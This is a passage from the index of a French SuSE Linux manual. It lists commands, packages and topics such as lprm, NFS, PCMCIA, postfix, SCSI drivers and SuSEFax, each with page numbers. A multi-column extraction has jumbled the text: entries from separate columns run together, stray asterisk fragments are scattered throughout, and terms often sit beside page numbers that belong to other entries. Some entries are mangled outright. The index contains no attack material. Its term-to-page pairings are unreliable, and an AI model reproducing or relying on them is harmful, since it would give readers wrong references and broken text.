ISApnp . . . . . . . voir ISApnp mkswap . . . . . voir Partition * *de lpr -s . . . . . . . . . . . . . . . . . . . 335 Laptop . . . . . voir Notebook Swap, 440 lprm . . . . . . . . . . . . . . . . . . . 336 Lecteur de disquettes . . 309 mlabel . . . . . . . . . . . . * *. . . . . 503 lprm . . . . . . . . . . . . . . . . . . . 336 Lecteur LS120 . . . . . . . . 309 mmd . . . . . . . . . . . . . . * *. . . . . 503 lprold . . . . . . . 334, 346, 354 Lecteur ZIP . . . . . . . . . . . 309 Modèle de document lprsetp . . . . . . . . . . . . . . . 102 Lecteurs de bandes . . . . 313 PostScript lprsetup . . . . . . . . . 341, 342 Modem . . . . . . . . . . . . . . 310 SuSEFax . . . . . . . . . . .* * . . 220 lrpold . . . . . . . . . . . . . . . . 346 Modems externes . . . . . 310 Mode DOS . voir Windows 95 ls . . . . . . . . . . . . . . . . . 487, 534 Modems internes . . . . . . 310 Mode protégé . . . . . . . . . .* * . . 63 ls . . . . . . . . . . . . . . . . . . . . . 487 Notebook . . . voir Notebook Modeline . . . . . . . . . . 26* *0, 263 LSB voir Linux Standard Base PCI . . . . . . . . . . . . . . . . . . 293 Modem . . . . . . . . voir Inter* *net, lsmod . . . . . . . . . . . . . . . . . . 361 Plug-and-Play . . . . . . . . 449 configurer PPP, 453 LUN . . . . . . . . . . . . . . . . . . . 372 PlugAndPlay . . . . . . . . . 294 Bips sonores . . . . . . . . * *. . 194 lx_suse . . . 10, 176, 302, 359 Port parallèle . . . . . . . . . 307 Configuration . . . . . . . .* * . 100 lxpoint . . . . . . . . . . . . . . . 412 Scanner . . . . . . . . . . . . . . 312 Connecter . . . . . . . . . * *. . . 190 lynx . . . . . . . . . . . . . . . . . 8, 459 USB . . . . . . . . . . . . voir USB Modem câble . . . . . . . . . . * *. 188 Winmodem . . . . . . . . . . . 311 Modify job parameter M mattrib . . . . . . . . . . . . . . . . . 503 SuSEFax . . . . . . . . . . .* * . . 216 m4 . . . . . . . . . . . . . . . . . . . . . 207MBR . . 118, 123, voir Secteur modprobe . . . . . 361, 368, 383 Mécanisme de spool maître d'amorçage, 520 Paramètres . . . . . . . . .* * . . 367 SuSEFax . . . . . . . . 214, 221 mc . . . . . . . . . . . . . . . . . 420, 548 modssl . . . . . . . . . . . . * *. . . . 470 Mémoire . . . . . . . . . . . . . . . 520 mcd . . . . . . . . . . . . . . . . . . . . 503 Module . . . . . . . . . . . . * *. . . . 360 consommée . . . . . . . . . . . 547 mcopy . . . . . . . . . . . . . . . . . 503 Chargement . . . . . . . . .* * . 430 taille non reconnue . . . . 371 mdel . . . . . . . . . . . . . . . . . . . 503 Manipulation . . . . . . . .* * . 360 * * 577 Index _________________________________________________________________________________________________________________* *_______________________________________@ Paramètres . . . . . . . . . . . 431 NCR 53C810 . . . . . . . . . . . 368 Novell . . . . . . . . . . . . * *. . . . . 230 Modules ncurses . . . . . . . . . . . 415, 442 Novell NE1000/2000 . . . . 388 compiler . . . . . . . . . . . . . 364 NE1000/2000 . . . . . . . . . . . 388 Novell NetWare . . . . . . . . .* * 229 Modules du noyau NE2000 . . . . . . . . . . . . . . . . 383 Noyau . . . . . . . . 359, 522,* * 542 Fichier de configuration 411 net_tool . . . . . . . . . . . . . . 354 Compilation . . . . . . . . * *. . 359 modules.conf . . . . . . . . . . . 411 NetBEUI . . . . . . . . . . . . . . . 230 Configuration . . . . . . . .* * . 362 modules.conf . . . . . . . . . voir NetBIOS . . . . . . . . . . . . . . . 230 Débogage . . . . . . . . . .* * . . 452 /etc/modules.conf netcfg . . . . . . . . . . . . . . . . 354 Modules . . . . . . . . . . .* * . . . 360 Moniteur . . . . . . . . . . . 253, 260 netpbm . . . . . . . . . . . . . . . . 340 Paramètres . . . . . . . . .* * . . 367 Moniteur réseau netscape . . . . . . . . . . . . . . . . . . 8 Pilote d'imprimante . . . 398 Argus . . . . . . . . . . . . . . . . 460 Netscape . . . . . 67, 69, 70, 210 Sélection du noyau SMP 38 Montage . . . . . . . . . . . . . . . 521 netstat . . . . . . . . . . . . . . . . . . 440 sig11 . . . . . . . . . . . .* * . . . . . . 64 Montage automatique . . . . 457 NetWare voir Novell NetWare sig7 . . . . . . . . . . . . * *. . . . . . . 64 more . . . . . . . . . . . . . . . . . . . 489 Network File System voir NFS Sysrq . . . . . . . . . . . * *. . . . . 452 Mot de passe . . . . . . . . 24, 482 Network Information Service . nscd . . . . . . . . . . 161, 1* *62, 411 Mot de passe root . . . . . . . voir voir NIS nscd.conf . . . . . . . . . . . * *. . . . 161 Installation, mot de passe networks . . . . . . . . . . . . . . . 158 nsswitch.conf . . . . . . . . . * *. . 160 root Neuhaus Triccy Data LCR 196 Numéros de téléphone . . . 563 mount 167, 309, 440, 500, 523 News . . . . . . . . . . . . . . 171, 208 mountd . . . . . . . . . . . . 167, 169 Leafnode . . . . . . . . . . . . . 208 O Mozart . . . . . . . . . . . . 381, 391 NeXTstep . . . . . . . . . . . . . . 500 olvwm . . . . . . . . . . . . .* * . . . . 535 Mozart, CD-ROM . . 381, 390 NeXTSTEP . . . . . . . . . . . . . 267 Olvwm . . . . . . . . . . . . . * *. . . . 267 mrd . . . . . . . . . . . . . . . . . . . . 503 NFS . . . . . . . . . . . . . . . 167, 521 olwm . . . . . . . . . . . . . * *. . . . . 535 mread . . . . . . . . . . . . . . . . . . 503 Démon . . . . . . . . . . . . . . . 411 Omnibook . . . . . . . . . . . .* * . . 380 mren . . . . . . . . . . . . . . . . . . . 503 Démon NFS du noyau . 457 OpenLook . . . . . . . . . . . .* * . . 267 MS-Windows . . . . . . . . . . . 518 ID groupe . . . . . . . . . . . . 457 opso . . . . . . . . . . . . . * *. 297, 412 msdos.sys . . . . . . . . . . . . . . 143 ID utilisateur . . . . . . . . . 457 opso_smp . . . . . . . . . 297,* * 412 mt . . . . . . . . . . . . . . . . . . . . . 314 Installation depuis . . . . . . 85 opsod_smp . . . . . . . . . . . * *. . 297 mtools . . . . . . . . . . . . . 501, 502 Serveur . . . . . . . . . . . . . . 456 opsod_upops.o.d.s.m.p. ......297,* *.412.....297, 412 mtools . . . . . . . 309, 501, 503 nfsd . . . . . . . . . . . . . . . 167~169 Optics Storage, CD-ROM . . . . mtype . . . . . . . . . . . . . . . . . . 503 nfsserv . . . . . . . . . . . . . . . 411 381, 391 Multiprocessing . . . . . . . . . 521 NI6510 . . . . . . . . . . . . . . . . . 388 Oracle . . . . . . . . . . . . .* * . . . . . . . 3 Multisession, CD-ROM . . 390 NIS . . . . . . . . . . . . . . . . . . . . 165 Oracle 8 . . . . . . . . . . . .* * . . . . . 69 Multitâche . . . . . . . . . . . . . . 521 Niveau d'exécution OS/2 . . . . . . . . . . . . . * *. 211, 526 Multiutilisateur . . . . . . . . . 521 changer . . . . . . . . . . . . . . 447 Amorçage . . . . . . . . . . * *. . 136 mv . . . . . . . . . . . . . . . . . . . . . 490Niveaux d'exécution . . . . . 446 Boot . . . . . . . . . . . . * *. . . . . 137 Mwm . . . . . . . . . . . . . . 282, 283 nkit . . . . . . . . . . . . . . . . . . . 420 Gestionnaire d'amorçage . . . mwrite . . . . . . . . . . . . . . . . . 503 nkita . . . . . . . . 172, 354, 413 119 MySQL . . . . . . . . . . . . 413, 460 nkitb . . . . . . . . 172, 354, 413 OSS . . . . . . . . . . . . . .* * . . . . . 412 nn . . . . . . . . . . . . . . . . . . . . . 210 N NNTP . . . . . . . . . . . . . . . . . . 458 P Name Service Cache Daemon nntpd . . . . . . . . . . . . . . . . . . 458 Période d'envoi de fax 161 nobody . . . . . . . . . . . . . . . . . 461 SuSEFax . . . . . . . . . . .* * . . 217 Name Service Caching Nom de domaine . . . . . . . . 155 Périphérique . . . . . . . . . .* * . . 522 Daemon Nom de machine . . . . . . . . 154 Page de garde de fax Initialiser . . . . . . . . . . . . . 457 Notebook . . . . . . . . . . . . . . . 317 SuSEFax . . . . 217, 219, 220 Name Service Switch . . . . 160 IrDA . . . . . . . . . . . voir IrDA Page de man . . . . . 9, 494, 5* *22 named . . . . . . . . . . . . . . . . . 457 PCMCIA . . . . . . . . . . . . . 453 Pages de man . . . . . . . . . .* * . 443 ncpfs . . . . . . . . . . . . . . . . . . 108 Powermanagement . . . . voir Index . . . . . . . . . . . * *. . . . . 414 NCR 5380 . . . . . . . . . 375, 384 APM paket.tgz . . . . . . . . . . .* * . . . . . 73 NCR 53c400 . . . . . . . . . . . . 375 Thinkpad . . . . . . . . . . . . . . 62 PAM . . . . . . . . . . . . . .* * 112, 411 NCR 53C400 . . . . . . . . . . . 384 Notification Scheme Mots de passe MD5 . . . 112 NCR 53c406a . . . . . . . . . . . 375 SuSEFax . . . . . . . . . . . . . 215 Panasonic CD-ROM . . . . . 392 578 ___________________________________________________________________________________________________________________________I* *ndex__________________ Panasonic, CD-ROM . . . . 382 inf2htm . . . . . . . . . . . . . 436 rman . . . . . . . . . . . . * *. . . . . 435 panel . . . . . . . . . . . . . . . . . . . 282 inn . . . . . . . . . . . . . 208, 410 roxen . . . . . . . . . . . .* * . . . . 415 paquetage irda . . . . . . . . . . . . . . . . . 330 roxenint . . . . . . . . . . * *. . 415 3dpixm . . . . . . . . . . . . . . 285 isapnp . . . . . 294, 296, 299 roxenssl . . . . . . . . . . * *. . 415 3dpixms . . . . . . . . . . . . . 285 isdn4linux . . . . . . . . . . 175 rpm . . . . . . . . . . . . .* * . . . . . 420 aaa_base . . . . . . . . . . . . 413 jade_dsl . . . . . . . . . . . . 409 samba . . . . . . . . . . . 1* *08, 413 apache . . . . . 415, 435, 470 john . . . . . . . . . . . . . . . . . 467 sane . . . . . . . . . . . . * *. . . . . 312 apmd . . . . . . . . . . . . 328, 329 kernmod 176, 302, 362, 413 sax . . . . . . . . . . . . .* * . . . . . 239 aps . . . . 334, 340, 342, 354 kernmods . . . . . . . . . . . . 413 scsiinfo . . . . . . . . . . * *. . 312 autofs . . . . . . . . . . . . . . 457 knfsd . . . . . . . . . . . 411, 457 scslog . . . . . . . . . . .* * . . . 474 bind . . . . . . . . . . . . 205, 480 latex-cover . . . . . . . . 220 sdb . . . . . . . . . . . . .* * . . . . . 435 binutils . . . . . . . . . . . . 359 ldp . . . . . . . . . . . . . . . . . . 435 sdb_de . . . . . . . . . . .* * . . . 435 books . . . . . . . . . . . . . . . . . 10 leafnode . . . 208, 209, 410 sdb_en . . . . . . . 8, 184,* * 407 bttv . . . . . . . . . . . . . . . . . 315 lesstif . . . . . . . . . . . . . 282 secchk . . . . . . . . . . .* * . . . 473 cdb . . . . . . . . . . . . . . 59, 244 libc . . . . . . . . . . . . 359, 420 secumod . . . . . . . . . . * *. . . 474 changes . . . . . . . . . . . . . 415 libcinfo . . . . . . . . . . . . 160 sendfax . . . . . . . . . . * *. . . 211 cnews . . . . . . . . . . . . . . . . 410 linux . . . . . . . . . . . . . . . . . 10 sendmail . . . . . . . 471, * *480 colortbl . . . . . . . . . . . . 410 lprold . . . . . 334, 346, 354 shlibs5 . . . . . . . . . . * *. . . 409 cron . . . . . . . . . . . . . . x, 442 lrpold . . . . . . . . . . . . . . 346 snd_au . . . . . . . . . . .* * . . . 305 curses . . . . . . . . . . . . x, 442 lx_suse . 10, 176, 302, 359 snd_mod . . . . . . . . . . * *. . . 305 dhclient . . . . . . . . . . . . 414 lxpoint . . . . . . . . . . . . . 412 snd_wav . . . . . . . . . . * *. . . 305 dhcpcd . . . . . . . . . . . . . . 414 makewhat . . . . . . . . . . . . 414 so_fr . . . . . . . . . . . .* * . . . . 544 doc . . . . . . . . . . . . . . . . . . 481 manyfaqs . . . . . . . . . . . . . . 9 sox . . . . . . . . . . . . .* * . . . . . 305 docbkdsl . . . . . . . . . . . . 410 mgetty . . . . . . . . . . 211, 227 sp . . . . . . . . . . . . . * *. . . . . . 409 dochost . . . . . . . . . 436, 437 modssl . . . . . . . . . . . . . . 470 squid . . . . . . . . . . . .* * . . . . 414 emu10k1 . . . . . . . . . . . . . 305 mtools . . . . . 309, 501, 503 squid2 . . . . . . . . . . .* * . . . 414 faxprint . . . . . . . . . . . . 221 ncpfs . . . . . . . . . . . . . . . . 108 ssh . . . . . . . . . 469, 47* *6, 480 fhs . . . . . . . . . . . . . . . . . . 423 ncurses . . . . . . . . . 415, 442 susefax . . . . . . . . . 211* *, 220 firewals . . . 202, 473, 476 net_tool . . . . . . . . . . . . 354 susehilf . . . 184, 228, 435 fr_howto . . . . . . . . . . . . . . 9 netcfg . . . . . . . . . . . . . . 354 susepak . . . . . . . . . . * *. . . 435 ftpdir . . . . . . . . . . . . . . 423 netpbm . . . . . . . . . . . . . . 340 susewm . . . . . . . . . . .* * . . . 282 g3utils . . . . . . . . . . . . . 211 nfsserv . . . . . . . . . . . . . 411 tcl . . . . . . . . . . . . .* * . . . . . 363 gcc . . . . . . . . . . . . . . . . . . 359 nkit . . . . . . . . . . . . . . . . . 420 te_dvilj . . . . . . . . . . * *. . 340 glibndev . . . . . . . . . . . . 411 nkita . . . . . . 172, 354, 413 tiff . . . . . . . . . . . . * *. . . . . 216 glimpse . . . . . . . . . . . . . 412 nkitb . . . . . . 172, 354, 413 tk . . . . . . . . . . . . . * *. . . . . . 363 gnlibsd . . . . . . . . . . . . . 411 opso . . . . . . . . . . . . 297, 412 toppp . . . . . . . . . . . .* * . . . . 197 gnuhtml . . . . . . . . . . . . . 412 opso_smp . . . . . . . 297, 412 tripwire . . . 469, 472, 473 gs_x11 . . . . . . . . . . . . . . 216 opsod_smp . . . . . . . . . . . 297 uucp . . . . . . . . . . . .* * . . x, 443 gsview . . . . . . . . . . . . . . . 10 opsod_up . . . . . . . 297, 412 wget . . . . . . . . . . . . * *. . . . . 419 gtkndev . . . . . . . . . . . . . 411 opsodsmp . . . . . . . 297, 412 wuftpd . . . . . . . . . . .* * . . . 412 gv . . . . . . . . . . . . . . . . 10, 216 pbm2l7k . . . . . . . . . . . . . 354 wvdial . . . . . . . . . . .* * . . . 172 hardsuse . . . . . . . . . . . . 474 pcmcia . . . . . . . . . . 325, 326 x3dlabs . . . . . . . . . . * *. . . 409 howto . . . . . . . . . . . . . . . . 330 PCMCIA . . . . . . . . . . . . . . 318 xcyrix . . . . . . . . . . .* * . . . 409 howtodeh . . . . . . . . . . . . 435 pgp . . . . . . . . . . . . . . . . . . 480 xf86 . . . . . . . . . . . . * *. . . . . 363 howtoen . . . . . . . . . . . . . . . 9 phpdoc . . . . . . . . . . . . . . 415 xformsd . . . . . . . . . . * *. . . 411 howtoenh . . . . . . . . . . . . 435 plp . . . . . . . . . . . . . . . . . . 346 xfsetup . . . . . . . . . . * *. . . 239 htdig . . . . . . . . . . . 436, 437 postfix . . . . . . . . . 413, 471 xglint . . . . . . . . . . 40* *8, 409 hylafax . . . . . . . . . 211, 220 postgres . . . . . . . 404, 409 xinetd . . . . . . . . . . .* * . . . 479 hyperref . . . . . . . . . . . . 410 ppa . . . . . . . . . . . . . . . . . . 354 xlpq . . . . . . . . . . . . * *. . . . . 336 i4l . . . . . . . . . 108, 176, 450 ppp . . . . . . . . . . . . . . . . . . 172 xntp . . . . . . . . . . . . * *. . . . . 459 i4ldoc . . . . . . . . . . 176, 184 ppp_nt . . . . . . . . . . . . . . 197 xsis . . . . . . . . . . . . * *. . . . . 409 imlibdev . . . . . . . . . . . . 411 recode . . . . . . . . . . . . . . 341 xvga16 . . . . . . . . . . .* * . . . 239 inetcfg . . . . 184, 197, 198 reiserfs . . . . . . . . . . . . . 91 ypclient . . . . . . . 107, * *165 * * 579 Index _________________________________________________________________________________________________________________* *_______________________________________@ ypserv . . . . . . . . . . . . . . 167 pcmcia . . . . . . . . . . . . 325, 326 Périphérique générique Paquetages PCMCIA . . . . . . 317, 406, 453 ATAPI . . . . . . . . . .* * . . . 400 Compiler . . . . . . . . . . . . . 419 APM . . . . . . . . . . . . . . . . . 323 Périphérique IDE . . . . . 3* *99 Configurations . . . . . . . . . 94 cardmgr . . . . . . . . . . . . . . 318 Paramètres du noyau . . 382, Effacer . . . . . . . . . . . . . . . 100 Configuration . . . . . . . . . 318 398 Inclure . . . . . . . . . . . . . . . . 98 Ethernet . . . . . . . . . . . . . . 319 Pilotes de protocoles IDE . . Index . . . . . . . . . . . . . . . . . 98 IDE . . . . . . . . . . . . . . . . . . 320 399 Installation . . . . . . . . . . . . 97 Installation . . . . . . . . . . . 326 portmap . . . 40, 106, 157, 167 Recherche . . . . . . . . . . . . . 98 ISDN . . . . . . . . . . . . . . . . 319 Portmapper . . . . . . . . . . .* * . . 456 Sélection . . . . . . . . . . . . . . 95 Logiciels . . . . . . . . . . . . . 318 postfix . . . . . . . . . . . . * *. 205, 456 Vérifier les dépendances 98 Modem . . . . . . . . . . . . . . 320 postfix . . . . . . . . . . . 41* *3, 471 Parallelport Probleme . . . . . . . . . . . . . 323 Postfix . . . . . . . . . . . .* * . . . . . 456 Architecture spécifique 398 Programmes utilitaires . 326 postgres . . . . . . . . . 404,* * 409 Paramètres de job Schéma . . . . . . . . . . . . . . 320 PostgreSQL . . . . . . . . 404, * *409 SuSEFax . . . . . . . . . . . . . 215 SCSI . . . . . . . . . . . . . . . . . 320 ppa . . . . . . . . . . . . . . * *. . . . . . 354 Pare-feu TokenRing . . . . . . . . . . . 319 ppp . . . . . . . . . . . . . . * *. . . . . . 172 Application Level Firewalls PCMCIA . . . . . . . . . . . . . . . . 318 PPP . . . . . . . . . . . . . . * *. . . . . . 171 478 pep . . . . . . . . . . . . . . . . . . . . . 69ppp-down . . . . . . . . . . .* * . . . 199 Paride . . . . . . . . . . . . . . . . . . 399 perl . . . . . . . . . . . . . . . . . . 4, 461 ppp-up . . . . . . . . . . . . .* * 198, 199 Partage . . . . . . . . . . . . . . . . . 230 Permissions . . . . . . . . . . . . . 461 ppp.chat . . . . . . . . . . . .* * . . . . 198 Partition Permissions des fichiers . . 461 ppp_nt . . . . . . . . . . . . * *. . . . 197 Formatage . . . . . . . . . . . . . 93 pg . . . . . . . . . . . . . . . . . . . . . 489pppd . . . . . . . . . . 171, 1* *72, 198 Formater . . . . . . . . . . . . . . 77 pgp . . . . . . . . . . . . . . . . . . . . 480 Première installation . . . . . * *. 15 Swap . . . . . . . . . . . . . . 70, 88 PGP . . . . . . . . . . . . . . . . . . . 515 Ècran d'accueil . . . . . . * *. . 28 Partition de swap . . . . . . 70, 88 Philips CM206 . . . . . 381, 391 Créer . . . . . . . . . . . . . . 77, 89 PHP . . . . . . . . . . . . . . . . . . . 415 Méthode d'amorçage Partition Magic . . . . . . . . . . 45 phpdoc . . . . . . . . . . . . . . . . 415 ultérieure . . . . . . . .* * . . . . 44 Partition racine . . . . . . . . . . 371 Pilote d'imprimante . . . . . 398 Amorcer à partir du CD2 56 Partitionnement . . . . . . . . . 545 Pilotes d'impression . . . . . voir Conditions . . . . . . . . . * *. . . . 28 Avancé . . . . . . . . . . . . . . . . 68 Filtres d'impression Configuration de base . . . 39 Débutants . . . . . . . . . . . . . 67 pine . . . . . . . . . . . . . . . . . . . . 210 Configuration du réseau . 40 Partitionner . . . . . . . . . . . 54, 88 ping . . . . . . . . . . . . . . . . . . . 472 Configurer les partitions . 75 le disque dur . . . . . . . . . . . 88 Pipe . . . . . . . . . . . . . . . . . . . 522 Copier des paquetages . . 46 Partitions Planter . . . . . . . . . . . . . . . . . 537 créer des disquettes étendues . . . . . . . . . . . . . . . 89 PLIP d'amorçage avec Unix 58 logiques . . . . . . . . . . . . . . . 89 Port parallèle voir Matériel, Démarrer YaST . . . . . . . * *. 33 primaire . . . . . . . . . . . . . . . 89 Port parallèle Déterminer le mot de passe Supplémentaires . . . . . . 546 plp . . . . . . . . . . . . . . . . . . . . . 346 root . . . . . . . . . . .* * . . . . . . 41 Types . . . . . . . . . . . . . . . . . 67 plp . . . . . . . . . . . . . . . . . . . . 346 Déterminer les points de Partitions étendues . . . . . . . 89 PlugAndPlay . . . . . . . . . . . 294 montage . . . . . . . . . * *. . . . 77 Partitions logiques . . . . . . . . 89 pnpdump . . . . . . . . . . 294~296 Déterminer les systèmes de Partitions primaire . . . . . . . . 89 Point de montage . . . . 91, 522 fichiers . . . . . . . . .* * . . . . . 77 Pas de clavier français en mode Pointer . . . . . . . . . . . . . . . . . 260 Descriptions de problèmes . MS-DOS . . . . . . . . . . . . 60 Pointeur souris . . . . . . . . . . 281 59 Pas de pilote de CD-ROM . 60 Polices . . . . . . . . . . . . . . . . . 279 Disquettes d'amorçage . . 57 Passerelle . . . . . . . . . . 156, 163 Port parallèle . . voir Matériel, Formater le disque dur . . 77 2 cartes réseau . . . . . . . . 379 Port parallèle Installer les logiciels . . .* * . 37 passwd . . . . . . . . . . . . . . . . . 166 CD-ROM ATAPI . . . . . . 399 Installer les paquetages . 37, PATH . . 6, 199, 270, 272, 475, Disque dur IDE . . . . . . . 399 42 484, 527 Lecteur de bandes ATAPI . . Installer loadlin . . . . . * *. . . 52 Patrick Volkerding . . . . . . . . 12 400 linuxrc . . . . . . . . . . * *. . . . . . 29 pbm2l7k . . . . . . . . . . . . . . . 354 Lecteur de disquettes ATAPI Login . . . . . . . . . . . * *. . . . . . 43 PC . . . . . . . . . . . . . . . . . . . . . 522 399 Login : . . . . . . . . . . .* * . . . . . 41 580 ___________________________________________________________________________________________________________________________I* *ndex__________________ Mécanisme d'amorçage avec ps . . . . . . . . . . . . . . . . . . . . . 498rm . . . . . . . . . . . . . .* * . . . . . . . 490 loadlin . . . . . . . . . . . . . 143 pstree . . . . . . . . . . . . . . . . 499 rman . . . . . . . . . . . . . .* * . . . . . 435 Méthodes d'amorçage . . 51 rmmod . . . . . . . . . . . . . * *. . . . 360 Modem . . . . . . . . . . . . . . . . 41 Q RNIS . . . . . . . . . . . . . * *. . . . . 525 Partitionner . . . . . . . . . . . . 54 qmail . . . . . . . . . . . . . . . . . . 205 ROM . . . . . . . . . . . . . .* * . . . . 525 Sélectionner des logiciels 36 Queue . voir File d'impression root . . . . . . . . . . . . . .* * . . . . . . . 41 Sélectionner la configuration Queueing agent Root . . . . . . . . . . . . . .* * . . . . . 525 36 HylaFAX . . . . . . . . . . . . . 224 Se connecter à distance 462 Sélectionner le noyau . . . 38 Routage Se connecter . . . . . . . . . . . 43 R route.conf . . . . . . . . . * *. 164 Sendmail . . . . . . . . . . . . . . 40 Réduire la partition . . . . . . . 54 route . . . . . . . . . . . . . * *. . . . . . 440 Setup . . . . . . . . . . . . . . . . . 50 Réinitialisation . . . . . . . . . . 523 route.conf . . . . . . . . . . .* * . 164 Situation de départ . . . . . 28 Répertoire . . . . . . . . . . . . . . 523 routed . . . . . . . . . . . . .* * . . . . . 457 Souris . . . . . . . . . . . . . . . . . 41 Changer . . . . . . . . . . . . . . 486 Routeur . . . . . . . . . . . .* * . . . . 478 Windows 95 Créer . . . . . . . . . . . . . . . . 486 IP Forwarding . . . . . . . * *. 455 Mode DOS . . . . . . . . . . . . . 50 Effacer . . . . . . . . . . . . . . . 486 roxen . . . . . . . . . . . . . * *. . . . . 415 Première installation de Linux Répertoire personnel . . . . . 524 Roxen . . . . . . . . . . . . . * *. . . . . 415 15 Répertoire racine . . . . . . . . 524 roxenint . . . . . . . . . . . .* * . . 415 printcap . . . . . . . . . . . . . . . . 338 Réseau . . . . . . . . . . . . 153, 524 roxenssl . . . . . . . . . . . .* * . . 415 PRINTER . . . . . . . . . . . . . . . 335 Configuration . . . . . . . . . 156 RPC Portmapper . . . . . . . . 1* *67 Priorité des jobs YaST . . . . . . . . . . . . . . . . 106 rpc.mountd . . . . . . . . . 167* *, 456 SuSEFax . . . . . . . . . . . . . 216 Dummy device . . . . . . . . 454 rpc.nfsd . . . . . . . 106, 167,* * 456 Pro Audio Spectrum 372, 381 Fichiers de configuration . . . rpm . . 410, 414, 415, 419, 420 Pro Audio Spectrum 16 . . 381 158 rpm . . . . . . . . . . . . .* * . . 415, 525 Problèmes Réseau étendu . . . . . . . . . . 524 rpm . . . . . . . . . . . . . . * *. . . . . . 420 Première installation . . . . 59 Réseau local . . . . . . . . . . . . 524 RPM . . . . . . . . . . . . . .* * 415, 525 Proc . . . . . . . . . . . . . . . . . . . 523 Résolution de l'écran . . . . 262 Base de données . . . . . . * *461 Procédure d'amorçage . . . 117 radius . . . . . . . . . . . . . . . . . . 458 RPM (rpm ) Processeur . . . . . . . . . . . . . . 523 Radius . . . . . . . . . . . . . . . . . 458 rpmorig . . . . . . . . . . * *. . . 415 Cyrix 686 . . . . . . . . . . . . . 38 RAM . . . . . voir Mémoire, 523 rpmsave . . . . . . . . . . * *. . . 415 Processus . . . . . . . . . . . . . . . 523 RAMDAC . . . . . . . . . . . . . . 254 run_ldconfig . . . . . . . . . * *415 procmail . . . . . . . . . . . . . . . 207 rawip . . . . . . . . . 180, 181, 184 Runlevel . . . . . . . . . . . * *. . . . 525 Programmation rawip-HDLC . . . . . . . . . . . 180 rwhod . . . . . . . . . . . . . * *. . . . . 457 Fichiers core . . . . . . . . . . 496 rawrite . . . . . . . . . . . . . . . . . . 58 rxvt . . . . . . . . . . . . . .* * . . . . . . 190 Programme . voir Application, rawrite.exe . . . . . . . . . . . . . . . 58 523 rc . . . . . . . . . . . . . . . . . . . . . . 447S Appel . . . . . . . . . . . . . . . . 483 /etc/rc.config . . . . . . . 450 S.u.S.E. . . . . . . . . . . vo* *ir SuSE Compiler . . . . . . . . . . . . . 419 rc.config . . . . . . . . . . . . . 451 Sécurité . . . . . . . . . . . .* * . . . . 465__ Programme d'émulation de rcp.ugidd . . . . . . . . . . . . . . . 457 Firewall . . . . . . . . . . * *. . . . 201 terminal . . . . . . . . . . . . 190 reboot . . . . . . . . . . . . . . . . . . 483 Impression . . . . . . . . .* * . . 338 Programmes Reboot . . . . . . . . . . . . 370, 460 Pare-feu . . . . . . . . . . * *. . . . 201 Code source . . . . . . . . . . . 95 Receive queue Sélection . . . . . . . . . . . * *. . . . 525 Installer . . . . . . . . . . . . . . 544 SuSEFax . . . . . . . . . . . . . 212 Support d'installation . . . * *83 Prompt . . . . . . . . . . . . . . . . . 523 Recherche plein texte . . . . 437 Sélection de la zone horaire . . Propriétés du système recode . . . . . . . . . . . . . . . . 341 voir YaST2, sélectionner SuSEFax . . . . . . . . . . . . . 211 reiserfs . . . . . . . . . . . . . . . 91 la zone horaire Protéger les zones d'E/S . 370 Reset . . . . . . . . . . . . . . . . . . 370 Sélection des séries . . . . . .* * . 95 Protocole . . . . . . . . . . . . . . . 523 resolv.conf . . . . . . . . . . . . . 162 Sélection du noyau . . . . . . * *104 Proxy RFC1861 . . . . . . . . . . . . . . . 221 Sélectionner des logiciels . 36 FTP . . . . . . . . . . . . . . . . . . 459 RFC959 . . . . . . . . . . . . . . . . 221 Sélectionner des paquetages . . Gopher . . . . . . . . . . . . . . . 459 Richard Stallman . . . . . . . . 517 36 HTTP . . . . . . . . . . . . . . . . 459 rlogin . . . . . . . . . . . . . . 456, 462 Sélectionner la disposition du ps . . . . . . . . . . . . . . . . . . . . . 523Rlogin . . . . . . . . . . . . . . . . . 524 clavier . . . . . . . . .* * . . . . . 83 * * 581 Index _________________________________________________________________________________________________________________* *_______________________________________@ série SCSI ServerFlags . . . . . . . . . . * *. . . 260 a 91, 95, 172, 176, 354, 526 Adaptec Serveur . . . . . . . . . . . .* * . . . . 525 a1 . . . . . . . . . . . . . . . . 96, 318 AHA-152x/151x/1505 . . . FTP . . . . . . . . . . . . .* * . . . . . 516 ALL . . . . . . . . . . . . . . . . . . . 95 384 Serveur de fax ap 294, 312, 328, 341, 354, AdvanSys . . . . . . . . . . . . 373 HylaFAX . . . . . . . . . . .* * . . 221 435, 502 AHA-152x/151x/1505 . 372 Serveur de mail books . . . . . . . . . . . . . . . . 481 AHA-154x . . . . . . . . . . . 372 Postfix . . . . . . . . . . * *. . . . . 456 d . . . . . . . . . . . . . . . . . . . . 176 AHA-274x . . . . . . . . . . . 372 Serveur de messagerie . . . 545 D . . . . . . . . . . . . . . . . . . . . 359 AHA-284x . . . . . . . . . . . 372 Serveur de noms . . . 157, 159, doc . . . . 8~10, 59, 160, 176, AHA-294x . . . . . . . . . . . 372 162, 455 184, 197, 228, 407, 423, AM53/79C974 . . . . . . . . 373 Configuration . . . . . . . .* * . 107 435, 436 Future Domain . . . 374, 375, Serveur FTP gra . . . . . 10, 312, 315, 340 384 Mise en place . . . . . . . .* * . 423 n . . 107, 108, 165, 167, 172, LUN . . . . . . . . . . . . . . . . . 372 Serveur HTTP 176, 197, 208, 209, 221, NCR 5380 . . . . . . . 375, 384 Mise en place . . . . . . . .* * . 423 227, 354, 412, 435~437, NCR 53c400 . . . . . . . . . . 375 Serveur NFS . . . . . . . . . . * *. . 167 457, 470, 479 NCR 53C400 . . . . . . . . . 384 Serveur NIS . . . . . . . . . .* * . . 166 paquetages sources . 95 NCR 53c406a . . . . . . . . . 375 Serveur NNTP . . . . . . . . . .* * 455 pay . . . . . . . . . . . . . 297, 544 Seagate ST01/02 . . . . . . 375 Serveur Novell sec . . . . 202, 467, 469, 470, streamers . . . . . . . . . . . . . 371 Emulation . . . . . . . . . .* * . . 459 472~474, 476, 480, 543 TMC-16x0 . . . . . . . 374, 384 Serveur WWW . . . . . . . . . 5* *45 sgm . . . . . . . . . . . . . . . . . . 410 TMC-885/950 . . . . . . . . 375 Serveur X . . . . . . . . . . .* * . . . 525 snd . . . . . . . . . . . . . . . . . . 305 Trantor T128/128F/228 375 Serveurs de noms . . . . . . . * *156 tex . . . . . . . . . . . . . . . . . . 410 Trantor T130B . . . 375, 384 Service de noms . . . . . . . .* * 230 x . . . . . . . . . . . 239, 408, 409 scsiinfo . . . . . . . . . . . . . . 312 Service Pro . . . . . . . . . . * *. . . 561 xap . . . . . . . . . . . . . . . . . . 336 scslog . . . . . . . . . . . . . . . . 474 Services . . . . . . . . . . . .* * . . . 